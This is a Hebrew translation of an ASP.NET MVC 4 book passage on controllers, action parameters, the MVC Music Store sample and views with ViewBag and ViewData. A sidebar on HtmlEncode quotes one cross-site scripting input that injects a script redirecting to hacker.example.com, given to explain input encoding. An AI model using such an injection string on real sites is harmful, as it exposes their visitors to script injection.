היישום הוא למעשה התקשורת בין , ברוב דפי האינטרנט" ?היכן נמצא היישום: "השאלה

 אצל cookieכמו למשל בתור קובץ , כל אחד מהם מאחסן פיסות מצב: הלקוח לבין השרת
מצב אלו מסונכרנות ומתואמות כדי שהמשתמש -פיסות מידע. הלקוח או בשטח זיכרון בשרת

שמבוסס על זה שניתן לתכנת את " שקר"עבור המשתמש זהו . יוכל להמשיך ולתפקד
באופן שתהיה למשתמש אשליה כאילו ,  מחדש בכל פעולהHTTPהאינטרנט ואת פרוטוקול 

 . כמו ביישום חלונות, הוא במצב רגיל

מאבדת ממשמעותה ) ובבסיס הרעיון של מצב(אירועים -כל התפיסה שבבסיס התכנות מוכוון
רבים מסרבים לקבל את השקר שמנסות למכור לנו . בעת תכנות יישומים אינטרנטיים

מציאות זו סיפקה קרקע פוריה לעלייה המחודשת של תבנית . מצב וירטואליפלטפורמות 
MVC ,ומת התבנית המקוריתאם כי בווריאציה קצת שונה לע . 

. בתצוגה באמצעות שיוך עקיף אליה" לצפות" המקורית המודל יכול MVCבתבנית , למשל
 מיושמת MVCכאשר תבנית , אולם. הדבר איפשר למודל להתעדכן בהתאם לאירועים בתצוגה

המודל בדרך כלל כבר לא נמצא בזיכרון , עד שהתצוגה נשלחת לדפדפן, ברשת האינטרנט
, יש מקרים שהשינוי הזה לא חל עליהם( יכול לצפות באירועים המתרחשים בתצוגה ולכן אינו

 ). MVC בסביבת Ajaxבהקשר של יישום טכניקות , 8כמתואר בפרק 
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, כדי לאפשר את יישום התבנית. הבקר תופס שוב את מקומו בקו הקדמי,  אינטרנטיMVCעם 
בעבודה , לדוגמה. ה של בקשותכל הקלט מהמשתמש ליישום האינטרנט חייב להתבצע בצור

לשיטה ) 9כמוסבר בפרק , באמצעות ניתוב( כל בקשה מנותבת ASP.NET MVCבמערכת 
שינוי , הבקר נושא במלוא האחריות לעיבוד הבקשה). action, פעולהשנקראת (שנמצאת בבקר 

 . ובחירת התצוגה שתוחזר למשתמש על ידי מנגנון התגובה, המודל במידת הצורך

. ASP.NET MVCנראה כיצד הבקרים מיושמים בפועל בתשתית , ום ההסבר התיאורטילאחר סי
 MVC 4צרו יישום , אם דילגתם על חלק זה. 1נמשיך בדוגמת הפרויקט החדש שיצרנו בפרק 

 . 1 בפרק 1-9כמוצג בתרשים , Razor ומנוע התצוגה Internet Applicationחדש באמצעות תבנית 

 MVC Music Store: יישום לדוגמה
.  כבסיס לרבות מהדוגמאות בספר זהMVC Music Storeנשתמש ביישום , 1כפי שנאמר בפרק 

. http://mvcmusicstore.codeplex.comבקרו באתר , MVC Music Storeלמידע נוסף על היישום 
.  יישום זה מיועדת למפתחים מתחילים ומתקדמת בקצב איטירההדרכה שנמצאת באתר עבו

אם אתם מרגישים שאתם זקוקים . הר יותר ונדון במספר נושאים מתקדמים נתקדם מאנחנו
 MVC Music Storeתוכלו לעיין בהדרכת , למבוא פשוט יותר עבור חלק מהנושאים שניגע בהם

 פרויקטה.  עמודים150 הכולל PDFוניתנת גם להורדה כקובץ ,  מקווןHTMLהזמינה בפורמט 
MVC Music Storeמופץ תחת רישיון  Creative Commonsאשר מתיר שימוש חוזר ללא תשלום  .

 . אנו נתייחס לפרויקט זה מדי פעם

, ה פשוטה עם פונקציות בסיסיות לבחירת פריטיםמוסיק הינו חנות MVC Music Storeהיישום 
 . 2-1כמוצג בתרשים , תשלום וניהול

 

 2-1תרשים 
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 : בהמשך נעסוק באלמנטים הבאים של החנות

 2-2כמוצג בתרשים , אנר ולפי אומן'רים ובאלבומים לפי זעיון בשי: עיון. 

 2-3כמוצג בתרשים , הוספת שירים לעגלת הקניות: הוספה . 
 באמצעות עדכוני (לת הקניות עדכון עג: רכישהAjax( , 2-4כמוצג בתרשים . 

 

 2-2תרשים 

 

 2-3תרשים 

 

 2-4תרשים 
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 2-5כמוצג בתרשים , יצירת הזמנה ותשלום: הזמנה. 

 

 2-5רשים ת

 2-6כמוצג בתרשים , )מוגבל למנהלי מערכת(עריכת רשימת השירים : האתר ניהול. 

 

 2-6תרשים 

 עקרונות בסיסיים
יש : 'בעיית הביצה והתרנגולת' צריך להתמודד עם סוג של MVCכאשר מתחילים ללמוד 

לקים וקשה מאוד לחקור כל אחד מהח, )התצוגה והבקר, המודל(שלושה חלקים שעלינו להבין 
נתחיל בהצגת הבקרים בצורה , כדי להתגבר עם הבעיה הזו. הללו מבלי להכיר את האחרים

 . ובשלב זה נתעלם מהמודלים ומהתצוגות, כללית

תהיו מוכנים ללמוד בצורה מעמיקה , לאחר הבנת עקרונות הפעולה הבסיסיים של הבקרים
לאחר . ASP.NET MVCתית על המודלים ועל סוגיות פיתוח נוספות בתש, יותר על התצוגות

 . נחזור שוב לנושא הבקרים ונדון בנושאים מתקדמים, 15בפרק , מכן
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 Homeהבקר : דוגמה פשוטה

נבחן את האלמנטים הכלולים על פי ברירת מחדל בפרויקטים , לפני שנתחיל לכתוב קוד
 : ת בקר כוללים שתי מחלקוInternet Applicationפרויקטים שנוצרים באמצעות תבנית . חדשים

 HomeController : גם על , שבשורש האתר ובנוסף" דף הבית"מחלקה זו אחראית על
 ). contact page" (דף יצירת קשר"ו) about page" (דף אודות"

 AccountController : מחלקה זו אחראית על בקשות שקשורות לחשבון של המשתמש
 . ויצירת חשבון) login(כגון כניסה לחשבון , באתר

 ופתחו את הקובץ Controllers/כנסו לתיקייה יה,  שלכםVisual Studioיקט בפרו
HomeController.cs , 2-7כמוצג בתרשים . 

 

 2-7תרשים 

תפקידה של . Controllerשימו לב שזו למעשה מחלקה פשוטה אשר יורשת ממחלקת הבסיס 
ש גולש לדף  היא לקבוע מה יקרה כאשר משתמHomeController של המחלקה Indexהשיטה 

 : בצעו את השלבים שלהלן כדי לבצע שינוי פשוט ולהריץ את היישום. הבית של האתר

 במשפט כלשהו Indexשבשיטה " !Welcome to ASP.NET MVC"החליפו את הטקסט  .1
 : הקוד אמור להיראות כך". !I like cake"כמו למשל , לבחירתכם

using System; 

using System.Collections.Generic; 

using System.Linq; 
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using System.Web; 

using System.Web.Mvc; 

 

namespace MvcMusicStore.Controllers 

{ 

 public class HomeController : Controller 

 { 

  public ActionResult Index() 

  { 
      ViewBag.Message = "I like cake!"; 

   return View(); 

  } 

 

  public ActionResult About() 

  { 

   ViewBag.Message = "Your app description page."; 

   return View(); 

  } 

 

  public ActionResult Contact() 

  { 

   ViewBag.Message = "Your contact page."; 

   return View(); 

  } 

 } 

} 

 Debug ט על ידי בחירת או עשו זאת דרך התפרי,  כדי להריץ את היישוםF5הקישו  .2
Start Debugging . סביבתVisual Studio תהדר את היישום ותעלה אתר שיפעל בשרת 

IIS Express . 

 TNE.ASP ושרת הפיתוח של IIS Expressשרת 

שהינה גרסת פיתוח מקומית של , IIS Express כוללת את Visual Studio 2012סביבת העבודה 
. חופשית ואקראית) port, "פורט("תר שלכם על יציאה אשר תריץ את הא, IISהתוכנה 
כלומר הוא משתמש ביציאה , /http://localhost:26641 האתר פועל בכתובת 2-8בתרשים 

כאשר אנחנו . שונה" פורט"ב, מספר היציאה בכל מחשב ובכל הרצה עשוי להיות אחר. 26641
כוונה היא שהן מופיעות לאחר ה, Store/Browse/ כגון URLמתייחסים במהלך הספר לכתובות 

 Store/Browse/נוכל לומר שהנתיב , 26641בהנחה שמספר היציאה הוא . מספר היציאה
 . http://localhost:26641/Store/Browseמתייחס למעשה לכתובת 

 Visual וגרסאות ישנות יותר משתמשות בשרת הפיתוח של Visual Studio 2010גרסת התוכנה 

Studio)  בשם הקוד הישן שלוהמוכר גם ,Cassini ( ולא בשרתIIS Express . למרות ששרת
 שהותאמה IIS הינה למעשה גרסה של IIS 7.5 Express התוכנה, IISהפיתוח דומה לשרת 
 בבלוג IIS 7.5 Expressתוכלו למצוא מידע נוסף על השימוש בשרת . במיוחד למטרות פיתוח

 . http://weblogs.asp.net/scottgu/7673719.aspxרי בכתובת 'של סקוט גות
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 IIS 7.5תוכלו בקלות להתחיל להשתמש בשרת , Visual Studio 2010 SP1אם אתם משתמשי 

Expressכל שעליכם לעשות הוא לשנות את שרת האינטרנט של .  במקום בשרת הפיתוח
 Use Visual Studio או לבחור Use Local IIS Web Serverידי בחירה באפשרות הפרויקט על 

Development Server בכרטיסייה Web2-8כמוצג בתרשים ,  שבמסך מאפייני הפרויקט . 

 

 2-8תרשים 

 . 2-9כמוצג בתרשים , כעת תקבלו חלון דפדפן שבו תוכלו לראות את המשפט שכתבתם

 

 2-9תרשים 
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כעת הבה ננסה לבנות יישום של ! יצרתם פרויקט חדש והצגתם כמה מילים על המסך. מצוין
  .ש על ידי יצירת בקר חדשממ

 הבקר הראשון שלכם

בקר זה יתמוך . המוסיק הקשורות לעיון בקטלוג הURLנתחיל ביצירת בקר שיטפל בפניות 
 : בשלושה תרחישים

 ליים הקיימים בחנותמוסיקאנרים ה'דף האינדקס יציג רשימה של הז . 

 אנר הנבחר'לזאנר מובילה לדף שבו כלולים כל האלבומים שמשתייכים 'לחיצה על ז . 

 לחיצה על אלבום מובילה לדף מידע שבו כלולים כל הפרטים המתייחסים לאלבום . 

 יצירת בקר חדש

לחצו לחיצה ימנית על התיקייה . StoreControllerתחילה עליכם להוסיף מחלקה חדשה בשם  
Controllers  בחלוןSolution Explorer ובחרו Add  Controllerפתחי מתפריט הקיצור שי ,

 . 2-10כמוצג בתרשים 

 

 2-10תרשים 

 כתבנית Empty MVC Controllerובחרו , StoreControllerבשדה במיועד לשם הבקר הזינו 
 . 2-11כמוצג בתרשים , ליצירת הבקר החדש
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 2-11תרשים 

 כתיבת שיטות פעולה

StoreController החדש שלכם כולל כבר שיטת Index . בשיטתIndexהדף  נשתמש ליצירת 
תזדקקו לשתי שיטות נוספות כדי . המוסיקאנרים הזמינים בחנות ה'שבו תוצג רשימת הז

 שמטפלת בעיון Browseהשיטה : ליישם את שני התרחישים האחרים שבהם הבקר אמור לטפל
 .  שמשמשת להצגת פרטי אלבוםDetailsוהשיטה , אנר רצוי'בז

פעולות בקר ונקראות , בתוך הבקר שלכםשוכנות ) Details- וIndex ,Browse(השיטות הללו 
)controller actions .( כפי שכבר ראינו בשיטת הפעולהHomeController.Index() , תפקידן

ולספק תגובה לדפדפן או למשתמש , לבצע את הפעולות הנדרשות, URLהוא להגיב לבקשות 
 . URL-ששלח את ה

 : עולות הבקרעל ידי ביצוע השלבים שלהלן תוכלו להבין מה עושות פ

ושנו , )ActionResultבמקום (כדי שתחזיר מחרוזת , ()Indexהשיטה שנו את החתימה של  .1
 : הנה כך, "()Hello from Store.Index" -לאת הערך שהיא מחזירה 

// 

// GET: /Store/ 

public string Index() 

{ 
  return "Hello from Store.Index()"; 

} 

, "()Hello from Store.Browse" אשר מחזירה מחרוזת Browseהוסיפו פעולה בשם  .2
התוצאה . "()Hello from Store.Details" אשר מחזירה את המחרוזת Detailsופעולה בשם 

 :  שלהלןStoreControllerהסופית מוצגת בקוד המלא של המחלקה 
using System; 

using System.Collections.Generic; 

using System.Linq; 

using System.Web; 
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using System.Web.Mvc; 

 

namespace MvcMusicStore.Controllers 

{ 

 public class StoreController : Controller 

 { 

   // 

   // GET: /Store/ 

   public string Index() 

   { 
     return "Hello from Store.Index()"; 

   } 

 

   // 

   // GET: /Store/Browse 

   public string Browse() 

   { 
     return "Hello from Store.Browse()"; 

   } 

 

   // 

   // GET: /Store/Details 

   public string Details() 

   { 
     return "Hello from Store.Details()"; 

   } 

 } 

} 

 : הריצו את הפרויקט שוב ובקרו בכתובות הבאות .3

 /Store 

 /Store/Browse 

 /Store/Details 
הזנת הנתיבים הללו תגרום להפעלת שיטות הפעולה המתאימות בבקר שלכם ולהחזרת 

 . 2-12כמוצג בתרשים , stringתגובות מטיפוס 

 

 2-12שים תר
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 משמעויות

 ? מה אפשר להסיק מהניסוי הקצר שלנו

לקה  של המחDetails גרמה להרצת שיטת הפעולה Store/Details/הכתובת הזנת  .1
StoreController ,היינו עדים למנגנון , למעשה. ללא כל צורך בהגדרות תצורה מיוחדות

ונחקור את , נרחיב את הדיון על הניתוב בהמשך פרק זה. הניתוב האוטומטי בפעולה
 . 9הנושא לעומק בפרק 

,  כדי ליצור את מחלקת הבקרVisual Studioלמרות שהשתמשנו במערך הכלים של  .2
הדבר היחיד שמסגיר את היותה מחלקת .  דבר זוהי מחלקה פשוטה ביותרבסופו של

 . System.Web.Mvc.Controllerיורשת ממחלקת הבסיס בקר הוא העובדה שהיא 

 מבלי להיעזר במודל או -גרמנו לכיתוב להופיע בחלון הדפדפן באמצעות בקר בלבד  .3
, ASP.NET MVCמי למרות שלמודלים ולתצוגות יש תפקיד חשוב ביישו. בתצוגה

אבל לא , כל הבקשות עוברות דרך הבקר. הבקרים הם למעשה הלב הפועם של היישום
 . כל הבקשות זקוקות לשירותי המודלים והתצוגות

 פרמטרים בפעולות בקר

השלב הבא הוא ליצור פעולות דינמיות . בדוגמאות הקודמות החזרנו מחרוזות קבועות
בצעו את השלבים שלהלן כדי ללמוד . URL בשורת שמגיבות לפרמטרים שמועברים אליהן

 : כיצד לעשות זאת

- כדי לשלוף את ערך מחרוזת השאילתה מתוך הBrowseהשתמשו בשיטת הפעולה  .1
URL . עשו זאת על ידי הוספת פרמטר"genre " מטיפוסstringלשיטת הפעולה שלכם  .

ילתה או פרמטרי  תעביר באופן אוטומטי כל מחרוזת שאASP.NET MVCכעת תשתית 
 . אל שיטת הפעולה שלכם כאשר היא מופעלת" genre"טופס בשם 

// 

// GET: /Store/Browse?genre=?Disco 

public string Browse(string genre) 

{ 

 string message = 

  HttpUtility.HtmlEncode("Store.Browse, Genre = " + genre); 

 return message; 

} 

 HTMLתמש בפורמט קידוד קלט מהמש

.  כדי לטהר את הקלט מהמשתמשHttpUtility.HtmlEncodeאנחנו משתמשים בשיטת העזר 
 לתצוגה שלנו HTML או תגיות JavaScriptהדבר נועד למנוע ממשתמשים להזריק קוד 

 כגוןשמכיל מלל צעות קישור באמ

/Store/Browse?Genre=<script>window.location='http://hacker.example.com'</script> 
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 .2-13כמוצג בתרשים , Store/Browse?Genre=Disco/כתובת דפדפו אל ה .2

 

 2-13תרשים 

תוכלו להיווכח שפעולות הבקר יכולות לקרוא ערכי שאילתות מחרוזת על ידי קבלתן 
 . כפרמטרים לשיטת הפעולה

 רך שונהבד. ID כדי לקרוא ולהציג פרמטר קלט בשם Detailsהשתמשו בפעולה  .3
,  בתור פרמטר של מחרוזת שאילתהIDהפעם לא נעביר את ערך , מהשיטה הקודמת

 . Store/Details/5/: לדוגמה.  עצמהURLאלא נטמיע אותו ישירות בשורת 

 מאפשרת לכם לעשות זאת בקלות רבה ללא צורך בהגדרות ASP.NET MVCתשתית 
 מצייתים ASP.NET MVC מנגנוני הניתוב של, על פי ברירת מחדל. תצורה נוספות

 הבא מיד אחרי שם שיטת הפעולה ייחשב URL-למוסכמה הקובעת שהחלק של ה
 ASP.NETתשתית , IDאם שיטת הפעולה שלכם מקבלת פרמטר בשם . IDכפרמטר בשם 

MVCתעביר לה את מקטע ה -URLהמתאים כפרמטר  . 
// 

// GET: /Store/Details/5 

public string Details(int id) 

{ 

 string message = “Store.Details, ID = “ + id; 

return message; 

} 

 . 2-14כמוצג בתרשים , Store/Details/5/הריצו את היישום ודפדפו לכתובת  .4

  2-14תרשים    
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באפשרותכם להתייחס לפעולות בקר כמו אל שיטות , כפי שראינו בדוגמאות האחרונות
, המחלקה. הן מבוצעת באופן ישיר על ידי הדפדפןאשר הקריאה ל, במחלקת הבקר שלכם

השיטה והפרמטרים מועברים על ידי הדפדפן בתור מקטעי ניתוב או מחרוזות שאילתה בשורת 
URL ,זוהי הצגה פשטנית מאוד של . והתוצאה המתקבלת היא מחרוזת שמוחזרת לדפדפן

 : הדברים אשר מתעלמת מסוגיות כגון

 כיצד מתבצע מיפוי בין כתובות URLלפעולות הבקר  . 

  לרוב (השימוש בתצוגות כתבניות להפקת המחרוזותHTML (שמוחזרות לדפדפן . 

 הן בדרך כלל מחזירות תוצאת ; פעולות כמעט לעולם אינן מחזירות מחרוזות גולמיות
, HTTPאשר יודעת לטפל בקודי מצב , ActionResult מתאימה מסוג טיפוס פעולה

 . ' וכות תצוגה למערכת תבניומבצעות קריאה 

אולם סביר להניח , בקרים מאפשרים חופש פעולה רב בכל הקשור להתאמה אישית ולהרחבה
, בשימוש הסטנדרטי.  תידרשו לנצל את היכולות הללו- אם בכלל -שרק במקרים נדירים 

. בקרים מריצים את הקוד שכתבתם ומחזירים תצוגה, URLקריאה לבקרים מתבצעת באמצעות 
, ובשלב זה לא נעסוק בכל הפרטים המייגעים העוסקים באופן ההגדרה,  להביןזה מה שחשוב

. לצד נושאים מתקדמים נוספים,  נדון בסוגיות אלה15בפרק . ההפעלה וההרחבה של בקרים
וזה בדיוק מה שנעשה , כעת אנחנו יודעים מספיק על בקרים כדי להוסיף תצוגות ליישום שלנו

 . 3בפרק 

 סיכום
הם שולטים בכל היבטי . ASP.NET MVCחי התזמורת של יישומי הבקרים הם מנצ

הם אחראים . עם אובייקטי המודל ועם התצוגות, עם המשתמש, או התקשורת, האינטראקציה
 -ולבסוף , ביצוע השינויים הנדרשים במודלי האובייקט, על מתן תגובה לקלט מהמשתמש

 . תחלתי שלובחירת התצוגה המתאימה שתוחזר למשתמש בתגובה לקלט הה

בפרק זה נחשפתם לעקרונות הבסיסיים שמנחים את פעולת הבקרים באופן בלתי תלוי 
 מריצים קוד MVCלאחר שלב הלימוד הבסיסי וההכרה כיצד יישומי . בתצוגות ובמודלים

 . ולכך מוקדש הפרק הבא, אתם מוכנים להתמודד עם ממשק המשתמש, URLבתגובה לבקשות 
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 3פרק 

 )Views(תצוגות 

Phil Haackו - Jon Galloway 

 

 עיקרי הפרק

 תפקיד התצוגות 

 הפניה לתצוגה 

 תצוגות בעלות טיפוסיות חזקה 

 מודלי תצוגה 

 הוספת תצוגה 

  שימוש בתחבירRazor  

 הגדרת תצוגה חלקית 

 

הקפדה על . ובצדק, מפתחים משקיעים זמן רב ביצירת בקרים ואובייקטי מודל אופטימליים
וד נקי וכתוב היטב בהקשר זה הוא המפתח ליישום אינטרנט איכותי מבחינת יכולת ק

 . התחזוקה שלו

כלל אינו נחשף , אולם משתמש אשר מבקר ביישום האינטרנט שלכם באמצעות הדפדפן שלו
וכל האינטראקציה שלו עם האתר , הרושם הראשוני של המשתמש. לעבודה הרבה שהשקעתם

 . מתחילה בתצוגה

התצוגה מייצגת את . לומר שהתצוגה היא שגרירת היישום שלכם לעולמו של המשתמשניתן 
היישום שלכם בעבודה עם המשתמש ויוצרת את הסביבה שעל בסיסה מתבצעת ההערכה 

 . היישום הראשונית לאיכות

כל הצבעים והעיצובים המבריקים לא , גיםאברור שאם שאר חלקי היישום יהיו מלאים בב
אם תיצרו תצוגה מכוערת שאינה ידידותית , עם זאת. ת החסרונות של היישוםיוכלו להסתיר א

להוכיח את " הזדמנות"כנסו ליישום עצמו ולא יתנו לו ימשתמשים רבים לא י, למשתמש
 .  או כמה הוא נקי מבאגים,ולא משנה כמה אפשרויות ותכונות מדהימות יש לו, עצמו
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עיצוב ויזואלי הינו תחום . ת יפות ומעניינותבפרק זה לא תוכלו ללמוד כיצד לבנות תצוגו
. למרות שתגיות נקיות יכולות להקל מאוד על החיים של המעצב שלכם, נפרד ממימוש תוכן

 ובפירוט תחומי האחריות ASP.NET MVCבהמשך נתמקד באופן הפעולה של תצוגות בתשתית 
 . כלו להתגאות בהםונספק את הכלים הדרושים לבניית תצוגות שהיישומים שלכם יו, שלהם

 תפקידי התצוגות
שימוש זה .  ראינו כיצד להשתמש בבקרים כדי להחזיר לדפדפן מחרוזת פשוטה כפלט2בפרק 

אולם בכל יישום אינטרנט שאינו , הינו אמצעי יעיל להבנת עיקרון הפעולה של בקרים
פעולות רוב : תבחינו במהרה בדפוס מסוים שחוזר על עצמו כמעט בכל תרחיש, טריוויאלי

אם כל מה שפעולות הבקר היו יכולות . HTMLהבקר נדרשות להציג מידע דינמי בפורמט 
הייתם צריכים לבצע החלפות רבות בתהליך אשר במהרה היה , לעשות זה להחזיר מחרוזות

וכאן נכנסת , כמפתחי יישומים יש לנו צורך ברור במערכת תבניות. יוצא מכלל שליטה
 . לתמונה התצוגה

זהו המידע שהבקר ( למודל יהיהפנהתצוגה מקבלת . אחראית לספק ממשק משתמשהתצוגה 
בתשתית . ואז היא ממירה את המודל לפורמט מתאים להצגה בפני המשתמש, )צריך להציג

ASP.NET MVC , התצוגה עושה זאת על ידי בדיקת אובייקטי מודל שמועברים אליה על ידי
 . HTMLהבקר והמרת תוכנם לפורמט 

 הוא ללא ספק הפורמט השכיח ביותר לבניית HTML .HTMLא כל התצוגות מפיקות ל הערה
תצוגות יכולות , שעוסק בתוצאות פעולה 16כמוסבר בסעיף בפרק , אולם, ישומי אינטרנט

 . להפיק מגוון רחב של סוגי תכנים אחרים

שר שוכנת  אSample.cshtml מוגדרת תצוגה בשם 3-1בקוד . הבה נבחן דוגמה לתצוגה בסיסית
דוגמה זו מיועדת , אל תטרחו להקליד את זה. Views/Home/Sample.cshtml/בתיקייה 

 . להמחשה בלבד

זו דוגמה בסיסית ביותר לתצוגה שמשמשת להצגה של הודעה שנקבעת על ידי הביטוי 
@ViewBag.Message . בהמשך הפרק נלמד עוד עלViewBag ושיטות אחרות שמשמשות 
הביטוי מוחלף בערך שהוגדר בבקר ומועבר , כאשר תצוגה זו ממומשת. הלהעברת מידע לתצוג

 .  אח הפלטHTMLכתגיות 
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 Sample.cshtml -תצוגה לדוגמה : 3-1קוד 

@{ 

Layout = null; 

} 

<!DOCTYPE html> 

<html> 

 <head><title>Sample View</title></head> 

 <body> 

  <h1>@ViewBag.Message</h1> 

  <p> 

 This is a sample view. It's not much to look at, 

  but it gets the job done. 

  </p> 

 </body> 

</html> 

התצוגות עצמן אינן , PHP או ASP.NET Web Formsקבצים כגון -בניגוד לתשתיות מבוססות
מימוש . לא ניתן להפנות את הדפדפן לתצוגה ולגרום לו לממש אותה. נגישות באופן ישיר

ומספק לה את הנתונים , ה תמיד מבוצע על ידי הבקר אשר מחליט איזו תצוגה להחזירהתצוג
 : כך זה נראה בקוד הבקר הבא. הנדרשים

 HomeController.cs: בקר הבית: 3-2דוגמה 

public class HomeController : Controller { 

 public ActionResult Sample() { 

  ViewBag.Message = "Hello World. Welcome to ASP.NET MVC!"; 

  return View("Sample"); 

 } 

} 

 ואחר כך מחזיר תצוגה בשם ViewBag.Messageשימו לב שהבקר מציב מחרוזת במאפיין 
Sample . פעולה זו קשורה לתצוגהSample.cshtml התצוגה תציג את הערך . 3-1 בקוד שראינו

 .  שהועבר אליהViewBag.Messageשל 

 גה הפניה לתצו
. בסעיף הקודם ראינו מספר דוגמאות שהמחישו את מנגנוני הפעולה הפנימיים של התצוגה

ניתן . בסעיף זה נלמד כיצד להפנות לתצוגה שתשמש למימוש הקלט עבור פעולה ספציפית
 מאפשרת לעשות זאת ASP.NET MVCלראות שהקפדה על המוסמכות שאומצו על ידי תשתית 

 . בצורה מאוד פשוטה

הפרויקט מכיל תיקייה , ירת פרויקט חדש באמצעות אחת מתבנית ברירת המחדלבעת יצ
Views 3-1ראו תרשים ( בעלת מבנה מוגדר .( 
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 Controllerעבור כל בקר נוצרת תיקייה בעלת שם זהה לבקר ללא הסיומת , על פי המוסכמה
יקייה בשם  נוספה לתיקיית התצוגות תHomeControllerעבור , לדוגמה. Viewsתחת התיקייה 

Home . 

דפוס . ושמו זהה לשם השיטה, בתוך כל תיקיית בקר יש קובץ תצוגה עבור כל שיטת פעולה
שיטת פעולה , לדוגמה. פעולה זה מספק את הבסיס לקישור בין התצוגות לבין שיטות הפעולה

 :  באופן הבאView באמצעות השיטה ViewResultיכולה להחזיר 

public class HomeController : Controller { 

 public ActionResult Index() { 

  ViewBag.Message = "Modify this template to jump-start 

            your ASP.NET MVC application."; 

  return View(); 

 } 

} 

 של Indexזוהי שיטת הפעולה : אתם צודקים, אם יש לכם תחושה שכבר נתקלתם בשיטה הזו
 .  המהווה חלק מתבנית ברירת המחדל לפרויקטHomeControllerבקר 

 3-1תרשים    
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. פעולת הבקר הזו אינה מציינת באופן מפורש את שם התצוגה, 3-2שימו לב שבניגוד לקוד 
 על ידי שיטת הפעולה ViewResult-התצוגה המוחזרת כ, כאשר שם התצוגה אינו מופיע

יא מחפשת תצוגה בעלת שם זהה לפעולה תחילה ה. מסתמכת על מוסכמה לאיתור התצוגה
השם של הבקר ללא סיומת , במקרה שלנו (Views/[ControllerName]/שבתוך התיקייה 

Controller .( במקרה זה היא התצוגה שתיבחר/Views/Home/Index.cshtml . 

נניח שאנחנו . גם את המוסכמה הזו ניתן לעקוף, ASP.NET MVCבדומה לרוב הדברים בתשתית 
צריך לספק שם תצוגה אחר , כדי לעשות זאת.  תממש תצוגה אחרתIndexצים שהפעולה רו

 :באופן הבא
public ActionResult Index() { 

 ViewBag.Message = "Modify this template to jump-start 

          your ASP.NET MVC application."; 

  return View("NotIndex"); 

} 

אבל התצוגה שתיבחר תהיה , Views/Home/פש בתיקייה אמנם תח התשתית , זודרךב
NotIndex.cshtml .כדי . לפעמים תרצו בכלל להפנות לתצוגה שנמצאת בתיקייה שונה לגמרי

 : כמוצג להלן, לציון הנתיב המלא לתצוגה) ~(תוכלו להשתמש בתחביר טילדה , לעשות זאת

public ActionResult Index() { 

 ViewBag.Message = "Modify this template to jump-start 

           your ASP.NET MVC application."; 

  return View("~/Views/Example/Index.cshtml"); 

} 

אתם חייבים לציין במפורש את סיומת הקובץ של , בעת שימוש בתחביר טילדה! שימו לב
חיפוש הפנימי אשר משמש את מנוע  את מנגנון הכדי לעקוף) במקרה זה, cshtml.( התצוגה

 .התצוגה לאיתור תצוגות

ViewDataו -ViewBag 

.  להעברת מידע מהבקר אל התצוגהViewBag.Messageבדוגמה הקודמת השתמשנו במאפיין 
 . הבה נבחן את התהליך הזה לפרטיו

הנתונים מועברים מהבקרים לתצוגות באמצעות המחלקה , מבחינה טכנית
ViewDataDictionary) בשם ) מחלקת מילון ייעודית שמציגה מפתח וערךViewData . ביכולתכם

 :לדוגמה. לקבוע ולקרוא ערכים באמצעות תחביר סטנדרטי

ViewData["CurrentTime"] = DateTime.Now; 

 החלה לנצל את מילת המפתח ASP.NET MVC 3אולם תשתית , אפשרות זו עדיין זמינה
dynamic של שפת C# 4המאפיין . ת התחביר כדי לפשט אViewBag משמש בתור מעטפת 

 : הוא מאפשר לקבוע ערכים באופן הבא. ViewDataדינמית סביב 

ViewBag.CurrentTime = DateTime.Now; 
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 . ViewData["CurrentTime"] שקול לביטוי ViewBag.CurrentTimeהביטוי , כלומר

. בחירה של תחביר זה או אחרברוב המקרים לא ניתן להצביע על יתרון טכני משמעותי ל
 הוא למעשה ליטוש תחבירי שמפתחים מסוימים מעדיפים על פני תחביר ViewBag-השימוש ב

 . המילון

יש ביניהם מספר הבדלים קריטיים , למרות שאין יתרונות טכניים לאחד מהתחבירים הערה
 . שחשוב מאוד להכירם

המפתח שאליו מתבצעת הגישה פועל רק כאשר ViewBag -אחד ההבדלים הברורים הוא ש
, ViewData["Current  Time "]אם תציבו ערך עם רווח כמו , לדוגמה. #Cהינו מזהה חוקי של 

 . מכיוון שלא יהיה ניתן להדר את הקוד, ViewBagלא תוכלו לגשת לערך הזה באמצעות 

דינמיים שלא ניתן להעביר לשיטות הרחבה ערכים , סוגיה מרכזית נוספת שחשוב להבהיר היא
,  חייב לדעת את הטיפוס האמיתי של כל פרמטר בזמן ההידור#Cהמהדר של . בתור פרמטרים

 . כדי שיוכל לבחור את שיטת ההרחבה הנכונה

: כשליהקוד הבא לעולם י, לדוגמה. ההידור יכשל, אם אחד הפרמטרים הוא דינמי
@Html.TextBox("name", ViewBag.Name) .עליכם להשתמש , וכדי להתגבר על הסוגיה הז

 .ViewBag.Name(string): או להמיר את הערך לטיפוס מפורש ViewData["Name"]בתחביר 

 תצוגות בעלות טיפוסיות חזקה
גישה . Albumנניח שעליכם לכתוב תצוגה שמשמשת להצגת רשימה של מופעי המחלקה 

) ViewBagמאפיין באמצעות ה(אפשרית אחת היא להוסיף את האלבומים למילון נתוני התצוגה 
 . ולבצע איטרציה עליהם בתוך התצוגה עצמה

 :הקוד של פעולת הבקר שלכם עשוי להיראות כך, לדוגמה
public ActionResult List() { 

 var albums = new List<Album>(); 

 for(int i = 0; i < 10; i++) { 

 albums.Add(new Album {Title = "Product " + i}); 

 } 

 ViewBag.Albums = albums; 

 return View(); 

} 

 : כמו בדוגמה זו, בתצוגה נשתמש בלולאה כדי להציג את המוצרים
<ul> 

@foreach (Album a in (ViewBag.Albums as IEnumerable<Album>)) { 

 <li>@a.Title</li> 

} 

</ul> 
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 לפני <IEnumerable<Album לטיפוס) אובייקט דינמי (ViewBag.Albumsנדרשנו להמיר את 
 כדי לקבל קוד נקי dynamicיכולנו גם להשתמש במילת המפתח . שיכולנו לגשת אליו בלולאה

 בעת גישה למאפיינים IntelliSenseאבל בצורה זו היינו מוותרים על היתרונות שמספק , יותר
 . Albumשל כל אובייקט 

<ul> 

@foreach (dynamic p in ViewBag.Albums) { 

 <li>@p.Title</li> 

} 

</ul> 

כך . כמובן שהחלופה האידיאלית מבחינתנו היא להשתמש בתחביר הנקי של הדוגמה הדינמית
ההידור של -לא מאבדים את היתרונות המתקבלים משימוש בטיפוסיות חזקה ובדיקות בזמן

את המצב האידיאלי הזה ניתן להשיג . מאפיינים ושמות של שיטותהגדרת טיפוסים נכונה של 
 ). strongly typed views(תצוגות בעלות טיפוסיות חזקה באמצעות 

. ולא סתם מילון גנרי, ViewDataDictionary הינו מסוג המחלקה ViewDataעליכם לזכור כי 
